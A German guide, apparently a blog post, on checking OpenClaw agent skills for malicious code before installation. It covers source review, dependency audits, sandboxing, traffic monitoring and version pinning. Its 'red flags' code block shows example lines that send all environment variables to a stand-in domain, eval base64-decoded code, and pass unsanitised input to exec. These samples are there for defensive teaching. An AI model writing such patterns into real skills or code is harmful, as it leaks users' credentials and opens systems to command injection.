OpenClaw-Skills sicher installieren: So prüfst du Skills bevor sie deine Credentials sehen
Das Problem: Skills haben vollen Zugriff auf alles
OpenClaw-Skills sind mächtig. Das ist der Punkt. Ein gut geschriebener Skill kann E-Mails senden, auf die Kamera zugreifen, Dateien lesen, Shell-Befehle ausführen und externe APIs aufrufen. Aus Sicherheitsperspektive ist ein Skill im Prinzip ein Stück Code mit denselben Rechten wie dein Agent — also mit denselben Rechten wie du.
Das ist auf Twitter heute aktiv diskutiert:
> *"One thing the OpenClaw ecosystem still needs: a trust layer. Before you install a skill, how do you know it isn't leaking your credentials or containing malware?"*
Und separat, noch treffender:
> *"OpenClaw's provenance layer matters more than the flashy demos. Provenance is what makes agents auditable: who acted, which skill changed state, what can be trusted."*
Genau das. Wenn ein bösartiger Skill in deiner Konfiguration aktiv ist, hat er Zugriff auf:
Das bedeutet nicht, dass du keine Skills installieren solltest. Aber es bedeutet, dass der Installationsprozess dieselbe Sorgfalt verdient wie das Installieren von npm-Paketen in einem Produktionssystem.
---
Warum ClawHub ein potenzieller Angriffspunkt ist
ClawHub ist das offizielle Skill-Ökosystem für OpenClaw. Tausende von Skills, von der Community beigetragen. Das meiste davon ist gut gemeint und nützlich.
Aber:
1. Kein automatisierter Malware-Scan — Skills werden nicht vor der Veröffentlichung automatisch auf schädlichen Code geprüft
2. Keine Signaturverifizierung — du kannst nicht aus der Quelle ableiten, ob ein Skill verändert wurde
3. Updatekontrolle liegt beim Skill-Autor — ein Update kann neuen Code einführen, ohne dass du es aktiv überprüft hast
4. Populäre Skills sind Ziele — ein Skill mit 50.000 Installationen ist ein attraktiveres Ziel für einen Supply-Chain-Angriff als einer mit 12
Das entspricht genau dem, was in der npm-Welt passiert ist: Typosquatting, böswillige Updates bekannter Packages, Maintainer-Übernahmen. Die Angriffe funktionieren, weil Entwickler (zu Recht) effizienten Workflows vertrauen.
Der Unterschied bei OpenClaw-Skills: Ein kompromittiertes npm-Paket liest vielleicht env-Variablen bei der Ausführung. Ein kompromittierter OpenClaw-Skill hat dauerhaften, aktiven Zugriff auf eine laufende Session mit vollem Dateisystem- und Shell-Zugriff.
---
Der Prüfprozess: Was wir vor jeder Installation tun
Wir haben in unserem Setup sechs Agenten mit zusammen über 30 installierten Skills. Hier ist der Prozess, den wir für jeden einzelnen durchlaufen haben:
Schritt 1: Quellcode lesen — komplett, nicht nur das README
Das klingt offensichtlich und wird trotzdem übersprungen.
```bash
# Skill lokal klonen, bevor du ihn installierst
git clone https://github.com/[author]/openclaw-skill-[name] /tmp/skill-review
# Dann: alle Dateien lesen
find /tmp/skill-review -type f | xargs wc -l
# → Wie viel Code ist das überhaupt?
# Besonders ansehen:
# - SKILL.md (was behauptet der Skill zu tun?)
# - *.js, *.ts, *.py, *.sh (was tut er wirklich?)
# - package.json / requirements.txt (welche Dependencies hat er?)
```
Worauf du beim Lesen achtest:
Rote Flaggen im Code:
```javascript
// ❌ Unerwartete fetch/axios/http-Calls
fetch('https://telemetry.suspicious-domain.com/log', {
body: JSON.stringify(process.env) // schickt alle Env-Variablen
});
// ❌ Base64-codierte Strings (oft verschleierter Code)
eval(Buffer.from('aGVsbG8gd29ybGQ=', 'base64').toString());
// ❌ Shell-Execution mit variablem Input ohne Sanitierung
exec(`curl ${userInput}`); // Command Injection möglich
// ❌ Lesen von .env oder Credential-Dateien
fs.readFileSync('.env', 'utf8'); // warum braucht ein Skill das?
```
Akzeptable Patterns:
```javascript
// ✅ Credentials via Env-Variablen (nicht hardcoded, nicht exfiltriert)
const apiKey = process.env.MY_SERVICE_API_KEY;
// ✅ Netzwerk-Calls nur zu klar dokumentierten Endpoints
const response = await fetch('https://api.openai.com/v1/...');
// ✅ Dateizugriff mit klarem Scope
const config = fs.readFileSync('./skill-config.json');
```
Schritt 2: Dependencies prüfen
Ein Skill mit sauberem eigenem Code kann trotzdem über Dependencies kompromittiert werden.
```bash
# Für Node.js-Skills
cd /tmp/skill-review
npm audit
# → Bekannte Sicherheitslücken in Dependencies?
# Dependencies ansehen
cat package.json | jq '.dependencies'
# → Warum braucht ein einfacher Skill 47 Dependencies?
# → Erkennt du die bekannten Packages?
# Für Python-Skills
pip-audit -r requirements.txt
```
Faustregel: Je weniger Dependencies, desto kleiner die Angriffsfläche. Ein Skill, der nur 2-3 gut bekannte Packages nutzt, ist ein besseres Zeichen als einer mit einem tiefen Dependency-Tree.
Schritt 3: Git-Historie checken
```bash
cd /tmp/skill-review
git log --oneline | head -20
# → Wann wurde zuletzt etwas geändert?
git show HEAD
# → Was hat das letzte Commit verändert?
# Besonders bei größeren Projekten: Änderungen in den letzten 30 Tagen
git log --since="30 days ago" --stat
```
Warnsignale:
Schritt 4: Skill in Sandbox testen
Bevor du einen Skill in deinen Produktions-Agenten installierst, teste ihn in einer isolierten Umgebung.
Die einfachste Sandbox: ein zweiter Agent mit minimalen Berechtigungen und einer leeren `.env`.
```bash
# Temporäres Workspace für Skill-Test
mkdir /tmp/skill-sandbox
cd /tmp/skill-sandbox
mkdir workspace
# Minimale .env — nur was der Skill angeblich braucht, nichts anderes
cat > .env << EOF
SKILL_TEST_API_KEY=fake-key-for-testing
EOF
# OpenClaw mit diesem Workspace starten (separater Port)
openclaw start --workspace /tmp/skill-sandbox/workspace --port 3002
```
Während du den Skill testest: Netzwerktraffic monitoren:
```bash
# Auf Linux/macOS: welche externen Verbindungen macht der Prozess?
sudo tcpdump -i any -n "not port 22" -A | grep -E "(POST|GET|PUT)" &
# Oder mit mitmproxy für schöne Ausgabe
mitmproxy --mode transparent &
```
Wenn du siehst, dass der Skill Verbindungen zu unerwarteten Domains aufbaut — Alarmstufe Rot.
Schritt 5: Berechtigungsscope dokumentieren
Wenn du dich entscheidest, den Skill zu installieren, dokumentiere explizit, welche Berechtigungen er hat und warum.
In unserem Setup haben wir eine `skills-audit.md`-Datei im Workspace:
```markdown
# skills-audit.md
Installierte Skills — Audit-Log
outlook (installiert 2026-01-15)
Quelle: github.com/openclaw/skill-outlook (offizieller Maintainer)
Letzte Prüfung: 2026-03-01
Berechtigungen: Liest/schreibt E-Mails via Microsoft Graph API
Credentials: MSGRAPH_CLIENT_ID, MSGRAPH_CLIENT_SECRET
Risiko: Mittel — hat Zugriff auf Postfach, aber kein Shell-Zugriff
Nächste Prüfung: 2026-06-01
clickup (installiert 2026-01-20)
Quelle: github.com/humanizing/skill-clickup (interner Skill)
Letzte Prüfung: 2026-03-15
Berechtigungen: ClickUp API (Lesen/Schreiben)
Credentials: CLICKUP_TOKEN_SAM
Risiko: Niedrig — kein Shell-Zugriff, bekannte API
Nächste Prüfung: 2026-06-15
```
Das klingt nach Bürokratie. Es ist aber die einzige Möglichkeit, bei 30+ Skills den Überblick zu behalten, was welche Berechtigungen hat.
---
Automatisierte Prüfung mit gitleaks
Für Teams (oder wenn du regelmäßig neue Skills hinzufügst) empfehlen wir `gitleaks` — ein Tool, das Code nach versehentlich eingebetteten Credentials scannt:
```bash
# Installation
brew install gitleaks # macOS
# oder: https://github.com/gitleaks/gitleaks/releases
# Skill-Repo scannen
gitleaks detect --source /tmp/skill-review --no-git
# Erweitert: auch Git-Historie scannen
gitleaks detect --source /tmp/skill-review
```
gitleaks findet Patterns wie API-Keys, Tokens und Passwörter — sowohl hardcoded im Code als auch in der Commit-Historie (selbst wenn sie später "gelöscht" wurden).
---
Was zu tun ist, wenn du einem installierten Skill nicht mehr vertraust
Manchmal stellt sich ein Problem erst nach der Installation heraus — ein Update verhält sich seltsam, du liest über eine Sicherheitslücke, oder das Repository wechselt den Maintainer.
Sofortmaßnahmen:
```bash
# 1. Skill deaktivieren
openclaw skills disable [skill-name]
# 2. Alle Credentials rotieren, auf die der Skill Zugriff hatte
# → API-Keys neu generieren in den jeweiligen Diensten
# → Tokens widerrufen und neue ausstellen
# 3. Session-History prüfen auf unerwartete Aktionen
cat ~/.openclaw/workspace/memory/$(date +%Y-%m-%d).md | grep -i [skill-name]
# 4. Netzwerk-Logs prüfen (falls du welche hast)
# Falls nicht: ab jetzt Logging einrichten (siehe unten)
# 5. Skill-Dateien analysieren
ls -la ~/.openclaw/skills/[skill-name]/
```
---
Langfristig: Skill-Updates nicht blind übernehmen
Das unterschätzte Problem: Skills, die du einmal geprüft und für sicher befunden hast, können sich durch Updates verändern.
Unser Ansatz: Skills auf einer gepinnten Version halten und Updates bewusst überprüfen, bevor sie übernommen werden.
```bash
# Skill auf spezifischen Commit pinnen
# In der Skill-Konfiguration oder über openclaw:
openclaw skills install github.com/author/skill-name@abc1234
# Vor einem Update: Diff ansehen
git diff abc1234 HEAD -- .
# Was hat sich verändert? Neue Netzwerk-Calls? Neue Dependencies?
```
Für offizielle Skills aus dem OpenClaw-Team ist das Risiko niedriger. Für Community-Skills, besonders solche mit breitem Zugriff (Shell, Email, Dateisystem), ist es die Mühe wert.
---
Die Kurzversion für Eilige
Wenn du dir nur eine Sache merkst: Lies den Code, bevor du installierst.
Nicht das README. Den Code. `SKILL.md` ist Marketing. Die `.js`-Datei ist Wahrheit.
Fünf Minuten Code lesen, bevor du etwas installierst, das Zugriff auf deine E-Mails, Dateien und Shell hat — das ist die wichtigste Sicherheitspraktik, die wir umgesetzt haben. Nicht Firewalls, nicht VPNs, nicht Docker — einfach: lesen, was du installierst.
Der vollständige Ansatz — wie wir Security in unserem 6-Agenten-Setup strukturiert haben, welche Tools wir für Credential-Management nutzen, und wie die Netzwerkhärtung aufgebaut ist — ist im OpenClaw Setup Playbook dokumentiert.
Auch auf Deutsch verfügbar. 🇩🇪